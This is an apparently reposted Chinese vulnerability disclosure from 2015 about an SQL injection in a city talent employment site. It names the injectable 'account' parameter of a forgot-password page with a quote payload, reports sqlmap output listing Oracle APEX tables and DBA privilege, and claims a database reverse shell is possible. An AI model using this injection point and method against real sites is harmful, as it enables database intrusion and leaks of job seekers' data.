记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

某人才就业网SQL注入(DBA权限)

2015-12-30 12:35

某市人才就业网可进行sql注入,可导致大量信息泄露。DBA权限可直接反弹shell。

http://**.**.**.**/getpass.jsp?account=user%27&memtype=person

这是该网站的账号忘记密码链接,account参数存在sql注入

01.png

01.png


上sqlmap跑数据库

1.png


各种表,第一个库360个。

web application technology: JSP

back-end DBMS: Oracle

Database: APEX_030200

[360 tables]

+--------------------------------+

| SYS_IOT_OVER_70794 |

| WWV_COLUMN_EXCEPTIONS |

| WWV_FLOWS |

| WWV_FLOWS_RESERVED |

| WWV_FLOW_ACTIVITY_LOG1$ |

| WWV_FLOW_ACTIVITY_LOG2$ |

| WWV_FLOW_ACTIVITY_LOG_NUMBER$ |

| WWV_FLOW_ALTERNATE_CONFIG |

| WWV_FLOW_ALT_CONFIG_DETAIL |

| WWV_FLOW_ALT_CONFIG_PICK |

| WWV_FLOW_APPLICATION_GROUPS |

| WWV_FLOW_APP_BUILD_PREF |

| WWV_FLOW_APP_COMMENTS |

| WWV_FLOW_BANNER |

| WWV_FLOW_BUILDER_AUDIT_TRAIL |

| WWV_FLOW_BUTTON_TEMPLATES |

| WWV_FLOW_CALS |

| WWV_FLOW_CAL_TEMPLATES |

| WWV_FLOW_CHARSETS |

| WWV_FLOW_CLICKTHRU_LOG$ |

| WWV_FLOW_CLICKTHRU_LOG2$ |

| WWV_FLOW_CLICKTHRU_LOG_NUMBER$ |

| WWV_FLOW_COLLECTIONS$ |

| WWV_FLOW_COLLECTION_MEMBERS$ |

| WWV_FLOW_COMPANIES |

| WWV_FLOW_COMPANY_SCHEMAS |

| WWV_FLOW_COMPANY_TYPES |

| WWV_FLOW_COMPOUND_CONDITIONS |

| WWV_FLOW_COMPUTATIONS |

| WWV_FLOW_COUNTRIES |

| WWV_FLOW_CSS_REPOSITORY |

| WWV_FLOW_CUSTOMIZED_TASKS |

| WWV_FLOW_CUSTOM_AUTH_SETUPS |

| WWV_FLOW_DATA |

| WWV_FLOW_DATA_LOAD_BAD_LOG |

| WWV_FLOW_DATA_LOAD_UNLOAD |

| WWV_FLOW_DB_AUTH |

| WWV_FLOW_DEBUG |

| WWV_FLOW_DEVELOPERS |

| WWV_FLOW_DEVELOPER_ROLES |

| WWV_FLOW_DICTIONARY$ |

| WWV_FLOW_DUAL100 |

| WWV_FLOW_DYNAMIC_TRANSLATIONS$ |

| WWV_FLOW_EFFECTIVE_USERID_MAP |

| WWV_FLOW_ENTRY_POINTS |

| WWV_FLOW_ENTRY_POINT_ARGS |

| WWV_FLOW_FIELD_TEMPLATES |

| WWV_FLOW_FILE_OBJECTS$PART |

| WWV_FLOW_FLASH_CHARTS |

| WWV_FLOW_FLASH_CHART_SERIES |

| WWV_FLOW_FND_GROUP_USERS |

| WWV_FLOW_FND_USER |

| WWV_FLOW_FND_USER_GROUPS |

| WWV_FLOW_FOLDERS |

| WWV_FLOW_HNT_ARGUMENT_INFO |

| WWV_FLOW_HNT_COLUMN_INFO |

| WWV_FLOW_HNT_LOV_DATA |

| WWV_FLOW_HNT_PROCEDURE_INFO |

| WWV_FLOW_HNT_TABLE_INFO |

| WWV_FLOW_HTML_REPOSITORY |

| WWV_FLOW_ICON_BAR |

| WWV_FLOW_ICON_BAR_ATTRIBUTES |

| WWV_FLOW_IMAGE_REPOSITORY |

| WWV_FLOW_IMPORT_EXPORT |

| WWV_FLOW_INSTALL |

| WWV_FLOW_INSTALL_BUILD_OPT |

| WWV_FLOW_INSTALL_CHECKS |

| WWV_FLOW_INSTALL_SCRIPTS |

| WWV_FLOW_ITEMS |

| WWV_FLOW_JOBS |

| WWV_FLOW_JOB_BIND_VALUES |

| WWV_FLOW_LANGUAGES |

| WWV_FLOW_LANGUAGE_MAP |

| WWV_FLOW_LISTS |

| WWV_FLOW_LISTS_OF_VALUES$ |

| WWV_FLOW_LIST_ITEMS |

| WWV_FLOW_LIST_OF_VALUES_DATA |

| WWV_FLOW_LIST_TEMPLATES |

| WWV_FLOW_LOCK_PAGE |

| WWV_FLOW_LOCK_PAGE_LOG |

| WWV_FLOW_LOV_TEMP |

| WWV_FLOW_LOV_VALUES |

| WWV_FLOW_MAIL_ATTACHMENTS |

| WWV_FLOW_MAIL_LOG |

| WWV_FLOW_MAIL_QUEUE |

| WWV_FLOW_MENUS |

| WWV_FLOW_MENU_OPTIONS |

| WWV_FLOW_MENU_TEMPLATES |

| WWV_FLOW_MESSAGES$ |

| WWV_FLOW_MODELS |

| WWV_FLOW_MODEL_PAGES |

| WWV_FLOW_MODEL_PAGE_COLS |

| WWV_FLOW_MODEL_PAGE_REGIONS |

| WWV_FLOW_ONLINE_HELP |

| WWV_FLOW_ONLINE_HELP_JA |

| WWV_FLOW_PAGES_RESERVED |

| WWV_FLOW_PAGE_CACHE |

| WWV_FLOW_PAGE_GENERIC_ATTR |

| WWV_FLOW_PAGE_GROUPS |

| WWV_FLOW_PAGE_PLUGS |

| WWV_FLOW_PAGE_PLUG_TEMPLATES |

| WWV_FLOW_PAGE_SUBMISSIONS |

| WWV_FLOW_PASSWORD_HISTORY |

| WWV_FLOW_PATCHES |

| WWV_FLOW_PICK_DATABASE_SIZE |

| WWV_FLOW_PICK_END_USERS |

| WWV_FLOW_PICK_PAGE_VIEWS |

| WWV_FLOW_PLATFORM_PREF |

| WWV_FLOW_PLATFORM_PREFS |

| WWV_FLOW_POPUP_LOV_TEMPLATE |

| WWV_FLOW_PREFERENCES$ |

| WWV_FLOW_PROCESSING |

| WWV_FLOW_PROVISION_COMPANY |

| WWV_FLOW_PROVISION_SERICE_MOD |

| WWV_FLOW_PURGED_SESSIONS$ |

| WWV_FLOW_QB_SAVED_COND |

| WWV_FLOW_QB_SAVED_JOIN |

| WWV_FLOW_QB_SAVED_QUERY |

| WWV_FLOW_QB_SAVED_TABS |

| WWV_FLOW_QUERY_COLUMN |

| WWV_FLOW_QUERY_CONDITION |

| WWV_FLOW_QUERY_DEFINITION |

| WWV_FLOW_QUERY_OBJECT |

| WWV_FLOW_RANDOM_IMAGES |

| WWV_FLOW_REGION_CHART_SER_ATTR |

| WWV_FLOW_REGION_REPORT_COLUMN |

| WWV_FLOW_REGION_REPORT_FILTER |

| WWV_FLOW_REGION_UPD_RPT_COLS |

| WWV_FLOW_REPORT_LAYOUTS |

| WWV_FLOW_REQUEST_VERIFICATIONS |

| WWV_FLOW_REQUIRED_ROLES |

| WWV_FLOW_RESTRICTED_SCHEMAS |

| WWV_FLOW_ROW_TEMPLATES |

| WWV_FLOW_RSCHEMA_EXCEPTIONS |

| WWV_FLOW_SC_TRANS |

| WWV_FLOW_SECURITY_SCHEMES |

| WWV_FLOW_SESSIONS$ |

| WWV_FLOW_SHARED_QRY_SQL_STMTS |

| WWV_FLOW_SHARED_QUERIES |

| WWV_FLOW_SHARED_WEB_SERVICES |

| WWV_FLOW_SHORTCUTS |

| WWV_FLOW_SHORTCUT_USAGE_MAP |

| WWV_FLOW_STANDARD_CSS |

| WWV_FLOW_STANDARD_ICONS |

| WWV_FLOW_STANDARD_JS |

| WWV_FLOW_STEPS |

| WWV_FLOW_STEP_BRANCHES |

| WWV_FLOW_STEP_BRANCH_ARGS |

| WWV_FLOW_STEP_BUTTONS |

| WWV_FLOW_STEP_COMPUTATIONS |

| WWV_FLOW_STEP_ITEMS |

| WWV_FLOW_STEP_ITEM_HELP |

| WWV_FLOW_STEP_PROCESSING |

| WWV_FLOW_STEP_VALIDATIONS |

| WWV_FLOW_SW_BINDS |

| WWV_FLOW_SW_CREATE_KEYWORDS |

| WWV_FLOW_SW_DETAIL_RESULTS |

| WWV_FLOW_SW_MAIN_KEYWORDS |

| WWV_FLOW_SW_RESULTS |

| WWV_FLOW_SW_SET_KEYWORDS |

| WWV_FLOW_SW_SQLPLUS_CMD |

| WWV_FLOW_SW_SQL_CMDS |

| WWV_FLOW_SW_STMTS |

| WWV_FLOW_TABS |

| WWV_FLOW_TEMPLATES |

| WWV_FLOW_TEMPLATES$ |

| WWV_FLOW_TEMPLATE_PREFERENCES |

| WWV_FLOW_TEMPLATE_THEMES$ |

| WWV_FLOW_TEMP_TABLE |

| WWV_FLOW_TEMP_TREES |

| WWV_FLOW_THEMES |

| WWV_FLOW_TOPLEVEL_TABS |

| WWV_FLOW_TRANSLATABLE_COLS$ |

| WWV_FLOW_TRANSLATABLE_TEXT$ |

| WWV_FLOW_TREES |

| WWV_FLOW_TREE_STATE |

| WWV_FLOW_UPGRADE_PROGRESS |

| WWV_FLOW_UPG_COL_NAME_CHANGES |

| WWV_FLOW_UPG_TAB_NAME_CHANGES |

| WWV_FLOW_UPG_TAB_OBSOLETE |

| WWV_FLOW_USER_ACCESS_LOG1$ |

| WWV_FLOW_USER_ACCESS_LOG2$ |

| WWV_FLOW_USER_ACCESS_LOG_NUM$ |

| WWV_FLOW_VERSION$ |

| WWV_FLOW_WEB_PAGES |

| WWV_FLOW_WEB_PG_LIST_ENTRIES |

| WWV_FLOW_WEB_PG_REGIONS |

| WWV_FLOW_WORKSHEETS |

| WWV_FLOW_WORKSHEET_CATEGORIES |

| WWV_FLOW_WORKSHEET_COLUMNS |

| WWV_FLOW_WORKSHEET_COL_GROUPS |

| WWV_FLOW_WORKSHEET_COMPUTATION |

| WWV_FLOW_WORKSHEET_CONDITIONS |

| WWV_FLOW_WORKSHEET_DOCS |

| WWV_FLOW_WORKSHEET_GEOCACHE |

| WWV_FLOW_WORKSHEET_HISTORY |

| WWV_FLOW_WORKSHEET_LINKS |

| WWV_FLOW_WORKSHEET_LOVS |

| WWV_FLOW_WORKSHEET_LOV_ENTRIES |

| WWV_FLOW_WORKSHEET_PRIVS |

| WWV_FLOW_WORKSHEET_ROWS |

| WWV_FLOW_WORKSHEET_RPTS |

| WWV_FLOW_WORKSHEET_STICK |

| WWV_FLOW_WORKSPACE_REQ_SIZE |

| WWV_FLOW_WS_OPERATIONS |

| WWV_FLOW_WS_PARAMETERS |

| WWV_FLOW_WS_PROCESS_PARMS_MAP |

| WWV_MIG_ACCESS |

| WWV_MIG_ACC_COLUMNS |

| WWV_MIG_ACC_FORMS |

| WWV_MIG_ACC_FORMS_CONTROLS |

| WWV_MIG_ACC_FORMS_MODULES |

| WWV_MIG_ACC_FORMS_PERM |

| WWV_MIG_ACC_GROUPS |

| WWV_MIG_ACC_GRPSMEMBERS |

| WWV_MIG_ACC_INDEXES |

| WWV_MIG_ACC_INDEXES_COLS |

| WWV_MIG_ACC_MODULES |

| WWV_MIG_ACC_MODULES_PERM |

| WWV_MIG_ACC_PAGES |

| WWV_MIG_ACC_QUERIES |

| WWV_MIG_ACC_RELATIONS |

| WWV_MIG_ACC_RELATION_COLS |

| WWV_MIG_ACC_REPORTS |

| WWV_MIG_ACC_RPTS_CONTROLS |

| WWV_MIG_ACC_RPTS_MODULES |

| WWV_MIG_ACC_RPT_PERMS |

| WWV_MIG_ACC_TABLES |

| WWV_MIG_ACC_TAB_PERM |

| WWV_MIG_ACC_USERS |

| WWV_MIG_EXPORTER |

| WWV_MIG_FORMS |

| WWV_MIG_FRM_ALERTS |

| WWV_MIG_FRM_ATTACHEDLIBRARY |

| WWV_MIG_FRM_BLK_DSA |

| WWV_MIG_FRM_BLK_DSC |

| WWV_MIG_FRM_BLK_ITEMS |

| WWV_MIG_FRM_BLK_ITEM_LIE |

| WWV_MIG_FRM_BLK_ITEM_RADIO |

| WWV_MIG_FRM_BLK_ITEM_TRIGGERS |

| WWV_MIG_FRM_BLK_RELATIONS |

| WWV_MIG_FRM_BLK_TRIGGERS |

| WWV_MIG_FRM_BLOCKS |

| WWV_MIG_FRM_CANVAS |

| WWV_MIG_FRM_CNVG_COMPOUNDTEXT |

| WWV_MIG_FRM_CNVS_GRAPHICS |

| WWV_MIG_FRM_CNVS_TABPAGE |

| WWV_MIG_FRM_COORDINATES |

| WWV_MIG_FRM_CPDTXT_TEXTSEGMENT |

| WWV_MIG_FRM_EDITOR |

| WWV_MIG_FRM_FMB_MENU |

| WWV_MIG_FRM_FMB_MENUITEM_ROLE |

| WWV_MIG_FRM_FMB_MENU_MENUITEM |

| WWV_MIG_FRM_FORMMODULES |

| WWV_MIG_FRM_LOV |

| WWV_MIG_FRM_LOVCOLUMNMAPPING |

| WWV_MIG_FRM_MENU |

| WWV_MIG_FRM_MENUITEM_ROLE |

| WWV_MIG_FRM_MENUS |

| WWV_MIG_FRM_MENUSMODULEROLES |

| WWV_MIG_FRM_MENUS_MENUMODULES |

| WWV_MIG_FRM_MENUS_MODULES |

| WWV_MIG_FRM_MENUS_PROGRAMUNIT |

| WWV_MIG_FRM_MENU_MENUITEM |

| WWV_MIG_FRM_MODULEPARAMETER |

| WWV_MIG_FRM_MODULES |

| WWV_MIG_FRM_OBJECTGROUP |

| WWV_MIG_FRM_OBJECTGROUPCHILD |

| WWV_MIG_FRM_OLB_XMLTAGTABLEMAP |

| WWV_MIG_FRM_PROGRAMUNIT |

| WWV_MIG_FRM_PROPERTYCLASS |

| WWV_MIG_FRM_RECORDGROUPCOLUMN |

| WWV_MIG_FRM_RECORDGROUPS |

| WWV_MIG_FRM_REPORT |

| WWV_MIG_FRM_REV_APEX_APP |

| WWV_MIG_FRM_REV_BLK_ITEMS |

| WWV_MIG_FRM_REV_BLOCKS |

| WWV_MIG_FRM_REV_FORMMODULES |

| WWV_MIG_FRM_REV_LOV |

| WWV_MIG_FRM_REV_LOVCOLMAPS |

| WWV_MIG_FRM_TRIGGERS |

| WWV_MIG_FRM_VISUALATTRIBUTES |

| WWV_MIG_FRM_WINDOWS |

| WWV_MIG_FRM_XMLTAGTABLEMAP |

| WWV_MIG_GENERATED_APPLICATIONS |

| WWV_MIG_MENU_XMLTAGTABLEMAP |

| WWV_MIG_OLB |

| WWV_MIG_OLB_BLK_DATASOURCECOL |

| WWV_MIG_OLB_BLK_ITEM |

| WWV_MIG_OLB_BLK_ITEM_LIE |

| WWV_MIG_OLB_BLK_ITEM_TRIGGER |

| WWV_MIG_OLB_BLK_TRIGGER |

| WWV_MIG_OLB_BLOCK |

| WWV_MIG_OLB_CANVAS |

| WWV_MIG_OLB_CG_COMPOUNDTEXT |

| WWV_MIG_OLB_CG_CT_TEXTSEGMENT |

| WWV_MIG_OLB_CNVS_GRAPHICS |

| WWV_MIG_OLB_MODULES |

| WWV_MIG_OLB_OBJECTLIBRARY |

| WWV_MIG_OLB_OBJECTLIBRARYTAB |

| WWV_MIG_OLB_OLT_ALERT |

| WWV_MIG_OLB_OLT_BLK_ITEM |

| WWV_MIG_OLB_OLT_BLK_ITEM_TRIGR |

| WWV_MIG_OLB_OLT_BLOCK |

| WWV_MIG_OLB_OLT_CANVAS |

| WWV_MIG_OLB_OLT_CNVS_GRAPHICS |

| WWV_MIG_OLB_OLT_GRAPHICS |

| WWV_MIG_OLB_OLT_ITEM |

| WWV_MIG_OLB_OLT_MENU |

| WWV_MIG_OLB_OLT_MENU_MENUITEM |

| WWV_MIG_OLB_OLT_OBJECTGROUP |

| WWV_MIG_OLB_OLT_OB_OBJGRPCHILD |

| WWV_MIG_OLB_OLT_REPORT |

| WWV_MIG_OLB_OLT_TABPAGE |

| WWV_MIG_OLB_OLT_TABPG_GRAPHICS |

| WWV_MIG_OLB_OLT_VISUALATTRBUTE |

| WWV_MIG_OLB_OLT_WINDOW |

| WWV_MIG_OLB_PROGRAMUNIT |

| WWV_MIG_OLB_PROPERTYCLASS |

| WWV_MIG_OLB_T_TP_GGGGG_CPDTXT |

| WWV_MIG_OLB_T_TP_GGGGG_CT_TXST |

| WWV_MIG_OLB_T_TP_GGGG_CPDTXT |

| WWV_MIG_OLB_T_TP_GGGG_CT_TXSGT |

| WWV_MIG_OLB_T_TP_GGGG_GRAPHICS |

| WWV_MIG_OLB_T_TP_GGG_CPDTXT |

| WWV_MIG_OLB_T_TP_GGG_CT_TXTSGT |

| WWV_MIG_OLB_T_TP_GGG_GRAPHICS |

| WWV_MIG_OLB_T_TP_GG_CPDTXT |

| WWV_MIG_OLB_T_TP_GG_CT_TXTSGT |

| WWV_MIG_OLB_T_TP_GG_GRAPHICS |

| WWV_MIG_OLB_T_TP_G_GRAPHICS |

| WWV_MIG_OLB_VISUALATTRIBUTE |

| WWV_MIG_OLB_WINDOW |

| WWV_MIG_PLSQL_LIBS |

| WWV_MIG_PROJECTS |

| WWV_MIG_PROJECT_COMPONENTS |

| WWV_MIG_PROJECT_TRIGGERS |

| WWV_MIG_REPORT |

| WWV_MIG_RESERVED_WORDS |

| WWV_MIG_REV_APEXAPP |

| WWV_MIG_REV_FORMS |

| WWV_MIG_REV_QUERIES |

| WWV_MIG_REV_REPORTS |

| WWV_MIG_REV_TABLES |

| WWV_MIG_RPTS |

| WWV_MIG_RPT_DATA |

| WWV_MIG_RPT_DATASRC |

| WWV_MIG_RPT_DATASRC_GRP |

| WWV_MIG_RPT_DATASRC_SELECT |

| WWV_MIG_RPT_DATA_SUMMARY |

| WWV_MIG_RPT_GRP_DATAITEM |

| WWV_MIG_RPT_GRP_DATAITEM_DESC |

| WWV_MIG_RPT_GRP_DATAITEM_PRIV |

| WWV_MIG_RPT_GRP_FIELD |

| WWV_MIG_RPT_GRP_FILTER |

| WWV_MIG_RPT_GRP_FORMULA |

| WWV_MIG_RPT_GRP_ROWDELIM |

| WWV_MIG_RPT_GRP_SUMMARY |

| WWV_MIG_RPT_REPORTPRIVATE |

| WWV_MIG_RPT_XMLTAGTABLEMAP |

+--------------------------------+


表中工作职位等信息

web application technology: JSP

back-end DBMS: Oracle

Database: APEX_030200

Table: WWV_FLOW_JOBS

[13 columns]

+-------------------+----------+

| Column | Type |

+-------------------+----------+

| COMPLETED | DATE |

| CREATED | DATE |

| ENDUSER | VARCHAR2 |

| FLOW_ID | NUMBER |

| ID | NUMBER |

| JOB | NUMBER |

| MODIFIED | DATE |

| OWNER | VARCHAR2 |

| SECURITY_GROUP_ID | NUMBER |

| STATUS | VARCHAR2 |

| SYSTEM_MODIFIED | DATE |

| SYSTEM_STATUS | VARCHAR2 |

| WHAT | CLOB |

+-------------------+----------+


数据库用户是DBA

web application technology: JSP

back-end DBMS: Oracle

current user is DBA: True

可反弹数据库shell进行操作:

5.png

解决方案:

过滤.

知识来源: www.2cto.com/Article/201512/455730.html

阅读:102108 | 评论:0 | 标签:注入

想收藏或者和大家分享这篇好文章→复制链接地址

“某人才就业网SQL注入(DBA权限)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云

本页关键词